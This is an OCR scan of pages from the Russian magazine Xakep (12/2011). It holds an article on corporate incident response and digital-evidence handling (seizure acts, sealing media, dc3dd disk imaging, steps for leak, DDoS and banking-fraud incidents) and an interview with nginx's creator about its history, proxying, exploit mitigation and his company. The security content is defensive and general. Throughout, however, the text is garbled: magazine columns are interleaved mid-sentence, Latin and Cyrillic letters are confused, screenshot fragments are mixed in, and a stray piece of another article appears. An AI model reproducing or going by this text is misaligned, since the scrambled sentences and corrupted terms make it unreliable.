СБОР И ОФОРМЛЕНИЕ

ЭЛЕКТРОННЫХ СВЕДЕНИЙ

1

Антивирусная про­

веркафайловых

систем носителей

Переустановкаопера­

2

3

ционных систем ЭВМ

Приводит к удалению

Продолжение работы

Без бюрократии снова не обойтись. Рассмотрим,

на ЭВМ, имеющих от­

что именно необходимо отразить в акте осмотра

ношение к инциденту

и акте изъятия сведений. Для начала- место

информации ЭВМ

файлов вредоносных программ,

Дает возможность злоумыш­

и время проведения действий, используемые

Приводит к изменению

следов их работы , системных

ленникуудалить с леды своей

технические средства, перечень присутствующих

активности.

лиц и сами nроизводимые действия . Указывая,

временных меток файлов вре­

журналов и усложняет рас­

доносных программ, переме­

следованиеинцидент~таккак

откуда извлекаются данные, необходимо предо­

щению или удалению файлов

для его проведения приходится

ставить следующие с ведения :

вредоносныхпрограмм.

восстанавливатьданные .

описание ЭВМ, из которой извлекаются носи­ тели информации;

ХАКЕР

021

12/155/2011

www.epidemz.net


COVERSTORY

Никитин Сергей, ведущий специалист по комn ьютерной криминалистике,

параметры носителя информации, откуда

Group-IB

Тип накопителя, на котором были

копируются данные;

сохранены данные:

путь к копируемым данным [каталог, файл];

Указанные данные скоnированы в катало г

название ПО , которое предо ставляет данные .

\COMP1\HDD1\IE USВ -нако пителя , nроизводи­ тель ADATA, серийный номер 1234.

При мер: Системный блок черного цвета , установленный

на рабочем месте Иванова И. И ., инвентарный

Кроме этого, необходимо подготовить следую­

ном ер 12345.Изсистемногоблокаизвлечены

щие документы :

два накопителя на жестких магнитныхдисках

[НЖМД], один

DVD, два USВ-накопителя , карта памятитипа SDHC. Н ЖМ Д фирмы Seagate, модель3750330NS,

служебные заnиски на имя директора органи­ зации и начальника службы безоnасности с nодробным оnисанием инцидента и выnолнен­ ны ми действиями;

серийный номерАААВВВ1 23.

заnросы nровайдеру, веб-хостеру, в службу

Из каталога \Usегs\Иванов\Dосumеnts\ло­

безопасности бизнес - центра и др. о nредостав­

гического раздела

лении информации эа интересующий nериод;

NQ1

Н ЖМД

NQB скоnирован

файл с названием «Как генеральный директор

акты изъятия, осмотра, выгрузки данны х

из различных и нф ормационных систем и

украл миллиард.tхt>>.

Из nрограммнаго обесnечения

Q\P 2010, версия

устройств .

6221, установленного в ОС на комnьюте ре Ива­ нова, выгружена история nереnиски абонента

Опечатано правильно !

ПРАВИЛА ОПЕЧАТЫВАНИЯ

При мер:

чтобы к ним невозможно было nолучить до стуn

НОСИТЕЛЕЙ ИНФОРМАЦИИ

nод nсевдонимом << Иванушка >> с абонентом nод nсевдонимом <<Корруnционер>>.

Носители информации необходимо опечатать так,

Необходимо также указать следующие сведе­

ния, касающиеся извлекаемой информации:

без видимого нарушен ия целостност и уnаковки.

размер 653 Кба йт .

Е сли носитель информац ии имеет небольшие

nараметры файлов [размер, имя, хэ ш] ;

Карта памяти MicгoSDHC, nроизводитель

размеры [НЖ МД, флэш -накоnитель], nроще всего

идентификационные данные носителей ин ­

Tгanscend, заявленный объем

nоместить его в nолиэтилен овый nакет, nере­

формации [модель, серийный номер];

номер

16 Гб, се рийный

1234 567.

вяз ать горловину nа кета нить ю, а на ее концы на­

Журна л nосещений веб-сайтов чер ез браузе р

клеить nояснит ельную за nис ку с nодписями лиц.

тиn накоnителя, на котором были сохранены

lnteгnet Ехрlогег пользователем с nсевдони­

которые участво вали в опечатывании, и nечатью

данные .

мом << ПорноЛю б>> .

организации.

о nи сание извлекаемых данны х;

Файл с названи ем <<Сек реты комnании.dос>>,

options : line: dc3dd if=/dev/sda of=/мnt/iмage.dd device size : 41943040 sectors (probed) sector size : 512 bytes (probed) 875462656 byt es ( 835 Н) сор i ed ( 47.). 4 . 53218 s . 184 H/s [ ! ! ] writing to ' /мnt/iм.:,ge.dd': tio space left on device 886243328 l1yt es (845 Н) сор i ed ( 4/). 4 . 63351 s . 182 H/s coмpiled соммаnd

i nptt t r·esttl t s for dev i се '/dev/sda' : 1730944 sectors in 0 bad sectors replaced Ьу zeros

И Н ЦИДЕНТ: УТЕЧКА

КОНФИДЕНЦИАЛЬНЫХ ДАННЫХ Действия, которые необходимо предпринять при расследовании:

Составитьдокладную заnиску на имя генераль­ ногодиректора о том, что в системе DLРбыли

о tt

t р tt t r е s tt 1 t s f о r f i l е · / 1730152 sectors ottt

мn t

/ i ма gе . dd · :

за регистрированы события, связанные с nо­ пыткой передачи конфиденциальныхданных.

Осмотреть и выгрузитьданные из системы

dc3dd failed at 2011-10-19 12 : 56:41 +0000 #

dc3dd if=/dev/sda

of=/мnt/iмage.dd

dc3dd 7 . 0.0 started at 2011-10-19 12:57:06 +ИИИ0 coмpiled options : соммаnd line: dc3dd if=/dev/sda of=/мnt/iмage . dd device size: 41943040 sectors Cprobed) sector size: 512 bytes (probed) 1179648 bytes 0.1 Н) copied ( 07.), 1.01073 s. 1 . 1 H/s Снятие образа с nомощью

DLP, записать их на

носитель информации,

который вnоследствии будет оnечатан. Определить причастные к инциденту компьютеры.

Заnросить журналы nодключений у инте р нет­ пр о вайд ера. Извлечь носители информации из nричастных к инциденту компьютеров, составить акт, опечатать.

Осмотреть и выгрузить информацию с сетевых устр ойств, контроллеров д омена и из других информационны хсистем ,записатьеена носитель информации, который впослед ствии будет опечатан .

RIP Linux

ХАКЕР

022

www.epidemz.net

12 / 155/2011


Реагирование на инциденты ИБ

"' AccessData

ИНЦИДЕНТ:

DDOS

Действия, которые необх одимо предпринять

.Eie

'[re1v .Моdе

&611 ~

!:!е\>

O iliii

lill e

f

"" -

Evidence Tree в tQI С:\ е · I!t System (NTFS] ]root]

I!t

при расследовании :

Составитьдокладнуюзаписку на имя генераль­

х

Name

SBadCius SExlend

SRecycle.Bin

ного директора ком п ании ото м, что ее веб-сайт

Ь: SSecure

android ATI

стал недо ступен для п осетител ей из -за распре­ деленной атаки типа << Отказ в обслуживании>> .

Documents and Settings MSOCache

Запроситьжурналы подключений у веб-хостера.

Perflogs

Е сли компания размещаетвеб-серверусебя, то

Program Files

запросить журналы подключений у интернет­

Program Files (х86)

провайдера.

ProgramOata

Осмотреть и выгрузить информацию с веб-сервера

System Volume tnformation

Recovery

(логи], записатьлаги на носитель информации,

ТЕМР

который впоследствии будет о п ечатан .

CVRA526.tmp.cvr CVRA606.tmp.cvr CVRA620.tmp.cvr CVRA692.tmp.cvr CVRA853.tmp.cvr CVRAA85.tmp.cvr CVRAADO.tmp.cvr CVRAAE1.tmp.cvr CVRAB8E.tmp.cvr CVRACD4.tmp.cvr CVRB050.tmp.cvr CVRB10.tmp.cvr CVRB1B4.tmp.cvr CVRB226.tmp.cvr CVRB36A.tmp.cvr

о кв

CVRВЗA6.tmp .cvr

о кв

CVRB5BC.tmp.cvr CVRB7CF.tmp.cvr CVRB921.tmp.cvr CVRBAEl.tmp.cvr CVRBDA7.tmp.cvr

о кв

CVRBDB З.tmp.cvr

о кв о кв

Сначала необходимо в несколько витков

обмотать горловину длинно й нитью и завязать нить узлом, а затем отсту п ить от места п еревязки

на

5-1 О

мм и точно таким же образом перевязать

.

Propertie =s' - - - - - - - - - - - - -

х]

:·1~ 1

о кв о кв

о кв о кв о кв о кв о кв о кв о кв

о кв о кв о кв о кв о кв

о кв о кв

о кв о кв

АСЕ Туре

Аlсм

сложен ного п опол ам . Сложенный ли ст нужно

SID

5-1-5-32-545

Name

Users

CVRBE20.tmp.cvr CVRBEBE.tmp.cvr CVRBEE1.tmp.cvr CVRC083.tmp.cvr CVRG4F.tmp.cvr CVRC238.tmp.cvr CVRC26.tmp.cvr

склеить . К н ему также с помощью двух неболь­

Access Mask

001200а9

CVRCЗOб.tmp.cvr

о кв

ших кусочков бумаги приклеиваются оба конца

Execute Fie

True

о кв

нити . В месте склейки ставятся подписи лиц,

Read Data

True

участвовавших в опечатывании , и печати.

Wrl:e Data

False

Append Data

False

выводы

Delete

False

CVRC371.tmp.cvr CVRC69C.tmp.cvr CVRC813.tmp.cvr CVRC8A1.tmp.cvr CVRC8FA.tmp.cvr CVRC9E5.tmp.cvr

В заключение, вместо того чтобы пр едложить всем

Read Pemnissions

True

заинтересо ва нным лицам пойти попить пива и

01ange Permissions

False

пожелать им никогда не сталкиваться с расследо­

Т ake CЛ·mershi:>

False

горловину второй ра з. Нить при этом разрывать запрещается .

Затем концы нити следует пр опустить по

внутреннему сгибу прямоугольного листа бума г и ,

ваниями , компетентными орга нами , протоколами

Т ake В

O.vnershi:>

Т rue

NTFS Aa:ess Control Entry

В NПS Aa:ess Control

Access

о кв о кв

о кв о кв о кв о кв

о кв о кв о кв

О КВ о кв

Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File Regular File

05.09.2011 ... 06.092011 27.09.2011 ... 06.09.2011 ... 18.10.2011 ... 05.09.2011 28.09.2011 05.09.2011 ·07.10.2011 ... 05.09.2011 ·19.10.2011 ... 07.10.2011 ... 12.09.2011 ... 07.09.2011 ... 14.09.2011 ... 25.08.2011 ... 06.10.2011 ... 08.09.2011 ... 23.09.2011 ... 18.10.2011 ... 12.09.2011 05.09.2011 ... 15.09.2011 ... 27.09.2011 ... 06.09.2011 ... 17.10.2011 ... 02.09.2011 ... 19.10.2011 ... 15.09.2011 ... 27.09.2011 ... 05.09.2011 ... 25.08.2011 ... 14.09.2011 ... 05.09.2011 ...

Entry

и служебными записками : ], п оз волю себе еще н емного поза н удствовать. Сфо рм улирую главные принципы , которыми с л едует руководствоваться в процессе р еа г ирования на ин циден ты :

1) Следует сохранять неизменность и целостность носителей информации .

l нех Vai.Je Inter... ]Custom Content.. 1

Properties For User Guide Access Data

ress F1

FТК

lmager

2) Необходимо предоставлять как можно больше информации об инциденте.

З)

Н уж но максимально подробнодокуме нти ­ ровать все действия, выполняемые в рамках

ИНЦИДЕНТ: МОШЕННИЧЕСТВО С ДБО

реагирования на инцидент.:::!:

Действия, которые необходимо предпринять

ЗА ПОСЛЕДНИЕ ПОЛГОДА МНО ГОСТ РАДАЛЬНУЮ КОМП АНИЮ

SONY

НЕ ПНУЛ, ПОХОЖЕ,

ТОЛЬКО НЕ ОСТАВАТЬСЯ В СТОРОНЕ И ПОУЧАСТВОВАЛИ В ПОУТИХШЕМ БЫЛО ВЕСЕЛЬЕ

ХАКЕР

Запросить журналы подключений компании к системе ДБО у банка.

при расследовании:

Составитьдокладную записку на имя генерально­

Извлечь носители информации из компью­

годиректора о то м, что в системе дистанционного

тера бухгалтера

банковского обслуживания, предоставляемой

составить акт, опечатать носители.

компании, были обнаружены платежные поруче­

lc них мож но с нять образы],

Осмотреть и выгрузить информацию с сетевых

ния, которые не передавались в банк сотрудника ­

устройств, контроллеров домена и из других

ми бухгалтерии (перечислить все реквизиты] .

информационных систем , записать ее на

Запросит ь журналы п одключений у ин тернет­

носитель информа ц ии, который впоследствии

пр овай де ра .

будет опечатан.

023

12/155/2 011

www.epidemz.net


路COVER STORY

www.epidemz.net


Интервью с создателем пgiпх

n

ИГОРЬ, РАССКАЖИТЕ, КАК

1.:;.1 СТРОИЛОСЬ ВАШЕ ОБРАЗОВАНИЕ, КАК ПРИШЛИ К ПРОГРАММИРОВАНИЮ И ВООБЩЕ УВ ЛЕ КЛИСЬ КОМ ПЬЮТЕРАМИ ?

Г&l Я род ился в Казахстане в маленьком

~ городке. Когда мне было около года, моего отца [он военный] перевели в Алма-Ату, и я жил там до

18 лет.

В

1987 году я

закончил школу и

поехал поступать в МВТУ имени Баумана, однако с первого раза поступить не удалось, и я вернулся

назад в Алма-Ату, где устроился работать лаборантом в филиал Института повышения квалификации Министерства геологии СССР. Там были старые компьютеры <<Искра-226>>, на них я и начал что-то программировать на бейсике. А еще в то время в журнале «Радио>> была опубликована серия статей, как собрать собств енный компью­

ИНТЕРВЬЮ С СОЗДАТЕЛЕМ

NGINX

тер <<Радио-86РК>>, и благодаря их чтению у меня сложилось достаточно неплохое представление,

как компьютер устроен и как он работает. А

первый опыт работы с компьютерами был чуть раньше: в старших классах я ходил во Дворец

пионеров, и там поставили компьютеры

Yamaha

КУВТ !стандарта MSX]. Помню, когда набирал пер­ вую программку, перепутал единицу с буквой

1.

В

общем, она у меня не работала из-за таких вещей.

n

А ПОМНИТЕ СВОЮ ПЕ ~ВУЮ

1.:;.1 ПРОГРАММУ, КОТОРОИ ПОЛЬЗОВдЛИ СЬ Д РУГИЕ ЛЮДИ?

Г&l Моя первая крупная и отчуждаемая

~ программа-это антивирус «AV>>, который я написал в 1989-1990 годах . Написан он был полностью на ассемблере, объем ассемблернога

кода был где-то порядка

100

КБ . Программа

умела находить несколько вирусов, имея зашитую

внутрь программы базу с несколькими сигнатура­ ми известных тогда в СССР вирусов, которых было от силы штук десять: вирусы <<Марихуана >>, «София>>, «Вена>> и еще несколько, не помню их названий. Вот это и была моя первая программа, которую я распространял в бинарниках - исход­ ников я тогда не раздавал. В итоге она разошлась по стране, была установл е на даже на нескольких

&ИОГРАФИЯ

заводах. Была и обратная связь: люди по почте

В 1994 году окончил МПУ им. Ба мана защитивдипломна

у

слали письма с вирусами , записанными на

' ЭВМ системы и сети н . •

дискеты. Какое-то время я поддерживал данный

В 2000 году при ступил к работе

антивирус, но в итоге году в 1992-м я уже потерял

ка федре «

интерес к этой теме, и программа умерла.

в Рамблер е, где впоследствии трудился почти 11 лет.

В

вать легкий web-cep~ep ПQIПХ , который в настоящим момент используется на 45 млн . серве­

связана с торговлей нефтепродуктами.

Там я проработал почти чего в апреле

в 2011 году создал ком$~аоН:Оюооо .

закончил институт, а за год до

стратором в одной компании , которая была

ров по всему миру .

Ngiп x iпс . и привлек

1994 году я

этого начал работать системным админи­

В 2002 году начал разрабат~l­

2000

7 лет,

Тогда как раз едулея

.

инве~тиций на развитие nроекта .

после

года решил уйти.

NASDAQ, лоп­

нул <<nузырь дот-комов >>, и как

раз в этот момент я решил уйти в Интернет. Полгода я прора­ ботал в интернет-мазагине

XXL.RU, после

чего, как

сейчас помню,

13

ноября

2000

года

я пришел работать в Рамблер.

025

www.epidemz.net


COVERSTORY r.1

ЧЕМ ВЫ ЗАНИМАЛИСЬ

Первым был эстонский сайт знакомств

.... В РАМБЛЕРЕ?

Rate.ee,

эффективной веб-инфстраструктуры, которые я

который и сейчас существует. Это, кстати, самый

добавлял постеnенно и которые сделали

высоконагруженный сайт Эстонии . Потом

такимнезаменимым инструментом. При этом

nginx

nginx nginx

ГАl Я работал системным администратором.

начал использоваться на mamba.гu и на zvuki.гu,

не перегружен ненужными фичами и остается

~ Однако кроме непосредственной работы

где раздавал МР3.

очень компактной разработкой . Кроме того,

сисадмина я снова начал в свободное время писать

В начале

2004

года Рамблер запускал сервис

модульность

nginx

позволила многим компаниям и

программы: Надо отметить, что в мои должностные

fоtо . гаmЫег.гu, и один из коллег, Олег Бунин, по­

обязанности программирование не входило, но

просил меня доделать в

поскольку были время и тяга, то первое, чем я

проксирования запросов, чтобы начать полно­

занялся,- адаптировал патч для сжатия ответов

ценно использовать его в том числе на фотосервисе

К сожалению, на тот момент имя

Рамблера . До этого момента проект был достаточно

более распространен , чем

академическим, я его постепенно писал , но это мог­

вестен в мире. Его автор- немец Ян Кнешке

Apache.

mod_gzip

было уже занято, поэтому я назвал свой вариант

nginx функциональность

сторонним разработчикам строить свои расшире­

ния на базе ядра

nginx.

Можно сказать, что

nginx

давно стал в своем роде веб-платформой.

По поводу lighttpd (lighty]. Когда-то он был

nginx,

и более из­

ло никогда ничем не кончиться , то есть в продакшн

(Jan Kneschke]. Разница в популярности была

его, может быть, нигде и не поставили бы . В общем,

связана с тем, что Россия- непонятная страна

лем mod_pгoxy. Я его посмотрел и решил, что

получилось так, что я срочно доделал и прокси­

с балалайкой и медведем, снегом, а тут Европа.

проще написать все с нуля, чем адаптировать

рование. И где-то в начале

Опять же, и с английским у него лучше было ,

там какие-то вещи. Таким образом появился

версия с проксированием, а сервис fоtо.гаmЫег.гu

в том числе и с английской документацией.

модуль

заработал на базе пginx.

Кстати, благодаря

mod_deflate,

работал он с

Apache 1.3.

Потом меня попросили разобраться с моду­

mod_accel- модуль

Apache для

ревереного проксирования. Это все

тоже было весной

r.1

и набор патчей для

2001

года.

4 октября 2004

2004

года появилась

года, в очередную годовщину

ВЫКЛАДЫВАЯ В ПАБЛИК?

lighttpd обрел второе дыхание 2000-2001 годов это была

До

экзотика, все использовали интерпретаторы, ко­

пустил первую публичную версию:

торые были внутри

0.1.0.

Apache: РНР, Регl, Python. А lighttpd исполнять внутри процесса РНР-код нереально, то решением стал FastCGI . И именно благодаря lighttpd FastCGI обрел вто­ рую жизнь . Хотя еще в 2000 году люди говорили: << Зачем, что это такое- FastCGI? У нас есть mod_php, и там все прекрасно работаеп>. поскольку в

r.1 СЕЙЧАС ДОЛЯ NGINX РАСТЕТ ОЧЕНЬ .... БЫСТРО, А КАК ДЕЛО БЫЛО В САМОМ НАЧАЛЕ?

ГАl В основном, да. Mod_defl~te на самом дел_е

~ пришел из патча, которыи писал Дмитрии

FastCGI.

запуска первого космического спутника , я вы­

ТО ЕСТЬ ВСЕ ЭТИ МОДУЛИ ВЫ ДЕЛАЛИ

.... ДЛЯ РАМБЛЕРА, ОДНОВРЕМЕННО

протокол

ГАl Сейчас он действительно растет до статочно

Хрусталев, работая в РБК. То есть этот патч был

~ быстро. Вначале все было заметно

взят эа основу, там моего кода, может, половина

скромнее . В первый год наибольшую популяр­

r.1

только. Осенью

ность ngiпx по очевидным причинам набирал в

. . . ЗОВАНИ Я NGINX ВЫ ВИДИТЕ?

2001

года у меня появилась идея

написать более легкий и производительный

России. В дальнейшем про

веб-сервер, чем

пределами, и отдельные энтузиа сты начали его

Apache.

На тот момент были уже

ngin x узнали

КАКИЕ ГЛАВНЫЕ КЕЙСЫ ИСПОЛЬ­

и за ее

ГАl Ос~овное использование на нагруженных.

другие похожие серверы, но все они не умели

использовать на свой страх и риск . Появился

~ саитах- это проксирование. При этом ng1nx

проксировать, они отдавали только статику . Был

англоязычный с писок рассылки , стали появлять­

установлен в качестве фронт-энда и проксирует

у них еще один общий недостаток- они

ся сторонние ресурсы, описывающие

приложения на бек-эндах по НТТР либо

работали в одном процессе, и, соответственно,

присылали мне все больше пожеланий и

или

отмасштабировать их, допустим, на двухпроцес­

замечаний, я вносил исправления, продукт посте­

является использование в связке с

сорной машине было нереально.

пенно набирал популярность. Сейчас проект

пример, на моем предыдущем месте работы

действительно растет очень быстро, и это стало

долгое время работал именно так, только пару лет

одним из поводов для создания компании. В

назад переключились на исnользование

одиночку я уже просто перестал справляться.

Кстати, в этом случае в статистике отображается,

На тот момент у меня уже был достаточно неплохой опыт работы с

Apache-

и как у си­

стемного администратора, и как у программиста.

nginx, люди

что появляется

Два написанных модуля прибавили мне знаний: приходилось смотреть исходники

и

Apache

r.1

ТАК ЧТО, НИКАКОГО ПРОДВИЖЕНИЯ

пони мать, как там все устроено. П оэтому очень

.... ВООБЩЕ НЕ БЫЛО, ПОЛУЧАЕТСЯ,

многие вещи в пgiпх перекочевали из

ПРОДУКТ САМ СЕБЯ СДЕЛАЛ?

Apache

WSGI. При

no FastCGI

этом стандартным подходом

nginx,

Apache- на­ nginx FastCGI.

пропадает Apache. Хотя на

самом деле использ у ется и то и другое: просто

nginx является

одним из компонентов прокси­

системы, видимым снаружи .

идеологически. Не код, а именно идеология, весь код

nginx

был написан с нуля.

Однако не все мне нравилось в

на­

Apache:

ГАl - С моей стороны никакого специального

ОБЪЯСНИТЕНАГЛЯДНО,ЗАЧЕМ

~ пиара не было. Хотя есть такое мнение, что

ВООБЩЕ ПРОКСИРОВАТЬ ЗАПРОСЫ?

пример, там очень легко можно сделать такую

лучший пиар- это просто хороший продукт. То

конфигурацию, которую будет крайне сложно

есть весь рост обуславливался тем, что пginx

ГА1 Почему, собственно, люди используют

поддерживать. То есть сайт растет, добавляется

«nросто работал>>, и люди рассказывали о своем

какая-то новая функциональность, и в конце

положительном опыте знакомым админам, те­

~ Apache с nginx? Казалось бы, зачем тут лишнее з вено, которое будет мешать. Apache

концов работать с сайтом становится невозможно.

своим знакомым, и так по принципу сарафанно­

хорошо и легко использовать там, где нужно

Нужно что-то добавить, и ты сидишь, думаешь: <<А

го радио . Популярность

выполнение какого-то приложения, например, с

что у меня сломается от того, что я добавлю?>> В

связана с несколькими вещами. Во-первых, это

помощью

nginx я

эффектив ный и бесnлатный софт, который

что этот РНР способен генерировать

позволяет существенно экономить аппаратные

в секунду, а каждый ответ имеет размер,

ресурсы и денежные средства, во-вторых, он в

условно ,

принципе неплохо работает.

быстрые соединения :

nопытался этих вещей избежать. В общем,

где-то весной

r.1

2002

я начал разрабатывать

nginx.

БЫСТРО ЛИ О ВАШИХ РАЗРАБОТКАХ

nginx,

на мой взгляд,

.... УЗНАЛИ ВНЕШНИЕ ПО ОТНОШЕНИЮ К РАМБЛЕРУ ЛЮДИ? КАК ЭВОЛЮЦИ­

ОНИРОВАЛ ПРОЕКТ?

mod_php.

100

Вот теперь представые себе,

100 ответов

КБ. Не все клиенты используют

лет назад были

модемные клиенты, сейчас очень распространен

r.1

НО ЕСТЬ ЖЕ А~АЛОГИ, LIGHПPD

.... ТОТ ЖЕ САМЫИ, НАПРИМЕР.

мобильный Интернет, у кого-то просто плохой провайдер или медленный тариф. И вот у нас есть ответ объемом

100

КБ и эффективная

2003 году npo мои разработки nрознали ~ снаружи Рамблера, и, более того, nginx

ГАl На самом деле есть еще пара nричин:

скорость к клиенту, например, ВО Кб/с (10 КБ/с].

~ получилась довольно интересная комбина­

Значит, этот ответ будет передаваться клиенту

начал исnользоваться на нескольких сайтах.

ция жизненно важных фич для создания

секунд . В результате все это время, пока клиент

ГАl В

ХАКЕР

026

www.epidemz.net

12 / 155/2011


Интервью с создателем

медленно скачивает ответ, <<жрет>>

10-20

Apache

вместе с РНР

МБ памяти на одного клиента. И

nginx

Гil Уязвимости были разные, но насчет того~

тация документации, чтобы она была понятна и

~ чтобы с их помощью получить удаленны и

однозначна для людей, впервые ее читающих. Ча­

доступ, код выполнить- такого не было. Можно

стая проблема, когда автор пишет документацию,

может делать быстро, он ждет, пока медленные

было ронять рабочие процессы, но вот именно

у него в голове есть определенный контекст, и он отталкивается от него. Думает, что вот это само

вместо того, чтобы заниматься тем, что

Apache

клиенты загрузят ответы. На все это расходуется

исполнить код- таких уязвимастей не было.

очень много памяти, да и процессор загружается

Смотрите, обычно эксплоит рассчитан на что?

собой разумеется, а в итоге упускает много дета­

тоже. Когда мьi ставим пgiпх между клиентами и Apache, то все начинает работать эффективнее:

Мы чего-то записали в сервер, ему это дело

лей. С этим мы как раз активно боремся: Руслан

упало на стек. Сервер работает, делает возврат и

смотрит на пginx <<со стороны», свежим взглядом,

пgiпх максимально быстро принимает на себя

попадает на этот код. Соответственно, чтобы

поэтому способен писать так, чтобы всем все было

весь ответ, освобождая

эксплоит заработал, надо знать, где стек будет у

понятно. Кроме того, у Руслана огромный опыт

медленно отдает его клиентам, не расходуя

этого процесса. Как правило, когда есть

участия в разработке и документировании слож­

много памяти. Много памяти или процессара

какой-нибудь пакет DeЬiaп/Ubuпtu, есть

ных программных проектов.

пgiпх не расходует, потому что используется

бинарник, можно воспроизвести у себя

другая архитектура веб-сервера- неблокируе­

аварийную ситуацию, попытаться найти, где

мая, основанная на асинхронной обработке

находится этот стек и таким образом сделать

событий, что позволяет обрабатывать многие

Apache,

и потом уже

r.t

эксплоит. Как стали с этим бороться? Стали

ПРЕДЛАГАЮ ПЕРЕЙТИ К В~ПРОСАМ, ~ СВЯЗАННЫМ С КОМПАНИЕИ NGINX, INC . И С ТЕМ, КАК ВЫ ВООБЩЕ ПРИШЛИ К

тысячи соединений в рамках одного процесса lв

рандомизировать адресное пространство- в

СОЗДАНИЮ БИЗНЕСА.

отличие от

современной винде , например, это так работает .

Apache,

где каждое соединение

Гil Сейчас все расскажу. Итак, наверное, году

обрабатывается отдельным процессом или

тредом.- При м. ред.).

~ в 2008-м пришло мне первое письмо от

ALSR?

инвестора, я уже не помню даже, кто это был. В

Ну и плюс к этому мы можем с бек-энда вы­

общем, за последние два года таких писем было

нести все статические файлы, это простая вещь,

с которой пgiпх может справиться очень легко и

Гil Да, верно . Это рандомизация. У нас стек был

около десятка. Люди хотели что-то сделать с

максимально эффективно -таких статических

~ тут, а теперь стал вот тут. И, соответственно,

nginx,

файлов пgiпх может отдавать одновременно

мы не можем предугадать, то есть мы взяли пакет,

поскольку я в целом не особо бизнесмен. Но в

десятки тысяч в секунду, если память позволяет

а понять, где у него теперь стек, не получится. У

конце концов я стал пони мать, что что-то делать

и если позволяет сетевое соединение .

пginx в этом плане проще, потому что на стеке

нужно, иначе я просто не смогу дальше в

данных, которые читаются от клиентов, практиче­

одиночку развивать проект, уже не хватало сил

ДАВАЙТЕ ВЕРНЕМСЯ К ТИПОВЫМ

ски нет. Можно пересчитать по пальцам несколько

на все. Довольно много времени ушло на то,

СЦЕНАРИЯМ.

случаев, где это используется, но в этих местах код

чтобы осмыслить, как и с кем я хотел бы сделать

довольно надежен. Данные, получаемые от

компанию <<вокруг»

ГА1 Итак, первый сценарий- это когда мы

клиентов,

редко меняю направление жизни : например, до

~ просто занимаемся акселерированием,

память malloc'oм.

может быть, даже одного-единственного сайта . У нас был

Apache,

мы поставили перед ним пgiпх

nginx размещает в

<<куче», выделяя

сделать компанию. Но я отказывался,

nginx.

Вообще, я очень

Рамблера я семь лет работал в одной компании,

Соответственно, если туда записать где-то чуть побольше, то мы не попадем на указатель

и- бах!- случилось чудо. Люди реально ставят и

стека. Вот эта рандомизация в

удивляются, а потом пишут на <<Хаб р » о том, что

ствовала с самого начала. В общем, написать

тельно решил основать компанию, которая бы

<<надо же, как клево». Второй вариант- это тоже

рабочий эксплоит если и можно, то очень слож­

помогла дальнейшему развитию проекта.

проксирование, но у нас много бек-эндов, то есть

но. Кроме того, процессы, которые занимаются

Отчасти на этот шаг меня вдохновил Сергей

мы можем эффективно масштабировать горизон­

обработкой запросов, не работают от <<рута».

nginx

присут­

в Рамблере я тоже проработал десять лет. Мне очень тяжело что-либо менять. Но, тем не

Secuгity-advisoгy были, их можно посмотреть

тально всю систему при условии, что само

менее, к весне этого года я все-таки оконча­

Белоусов , создатель Paгallels и фонда

Capital.

Runa

Мы с ним несколько раз неформально

приложение это позволяет. Таким образом, пgiпх

на сайте. Я считаю, что на все эти сообщения

общались, и в итоге я постепенно стал значи­

выступает в роли балансировщика нагрузки.

об ошибках нужно реагировать адекватно, спо­

тельно ближе к идее создать компанию.

Одним из недостатков текущей реализации

койно и профессионально . Например, скрывать

является отсутствие нескольких полити к

факт ба га, когда все уже опубликовано, говорить

СЕРГЕЙ УМЕЕТ

балансировки, но люди пользуются, это работает, а

типа << Что? Ничего не было, все хорошо»- это

УБЕЖДАТЬ, ДА?

функционал мы будем добавлять. Что еще? Еще

просто-напросто подрывает доверие к проекту.

ГА1 Сергей вообще очень интересный человек,

сценарий, например, такой: многим людям почему-то

Apache

не нравится. Хотят, чтобы на

сервере был только пgiпх, не хотят ставить

Apache.

В этом случае все с крипты у них работают через

FastCGI

для РНР или

WSGI

r.t

СКОЛЬКО ЧЕЛОВЕК ЗАНИМА!10СЬ

~ РАНЬШЕ И ЗАНИМАЕТСЯ СЕИЧАС РАЗРАБОТКОЙ, РАЗВИТИЕМ ПРОЕКТА?

для Pythoп .

~ с ним всегда интересно обсуждать дела и не только, он очень энергичный человек. Сергей также довольно властный руководитель- я думаю, он влияет на очень многие решения в

Гil Долгое время занимался я один, практиче­

своих компаниях, это владелец, который любит

давно начали использовать пgiпх в качестве

~ ски весь код я написал в одиночку. Года

контролировать происходящее, непосредствен­

балансировщика, авеб-сервером у них выступал

четыре назад мне стал все больше помогать

но участвовать в бизнесе.

коммерческий

Максим Дунин . Кроме нас двоих еще по мере

Например , WoгdPгess.com- они давным­

LiteSpeed.

В этом году они уже

Вообще, процесс переговоров с инвестора­

полностью мигрировали на пgiпх, теперь у них

развития продукта люди присыпали патчи. Причем

ми, подписание условий сделки, куча всего­

РНР работает в режиме

часто присылают просто письма с текстовым

это вещь тяжелая, потому что, во-первых, очень

FastCGI.

описанием проблем или пожелания. Мне говорят:

много скучных деталей , огромное количество

ния- когда пgiпх просто отдает всю статику,

<< Есть ошибка, решить можно ее вот таК>>. Просто

бумаги на английском языке, юридической,

допустим, МРЗ,

словами. Мы это делаем по мере сил.

ее на русском-то языке читать тяжело, а по­

Другой стандартный вариант использова­

FLV-,

МРЕG4-видео, картинки .

Еще у нас сейчас есть отдельный человек­

r.t

ДАВАЙТЕ НЕМНОГО ПОГОВОРИМ ПРО

английски- тем более. Обговаривание всего,

Руслан Ермилов, который сейчас занимается

опять же, согласование всех вещей: мы хотим

~ БЕЗОПАСНОСТЬ. БЫЛИ ЛИ ЗА ВРЕМЯ СУЩЕСТВОВАНИЯ NGINX КАКИЕ-ЛИБО

документацией. Он выполняет несколько задач:

то-то, они хотят то-то. Психологически это тяже­

это перевод текущей русской документации на

ло. Зато потом, если инвесторы понимают твой

СЕРЬЕЗНЫЕ УЯЗВИМОСТИ?

английский язык, актуализация сведений и адап-

бизнес, все становится значительно легче.

ХАКЕР

027

12/155/2011

www.epidemz.net


·COVER STORY r.1

ГАl Ну да, подход такой, что я лучше зто сам

ИНТЕРЕСНО: ВЫ РАБОТАЛИ В

В то же время , мы знаем, что есть клиенты,

~ РАМБЛЕРЕ И ТРУДИЛИСЬ НАД NGINX.

~ сделаю, потому что это будет лучше, или

большие компании, средние компании, даже

У РАМБЛЕРА НЕ БЫЛО НИКАКИХ ПРАВ?

потому что долго объяснять, что нужно делать, или

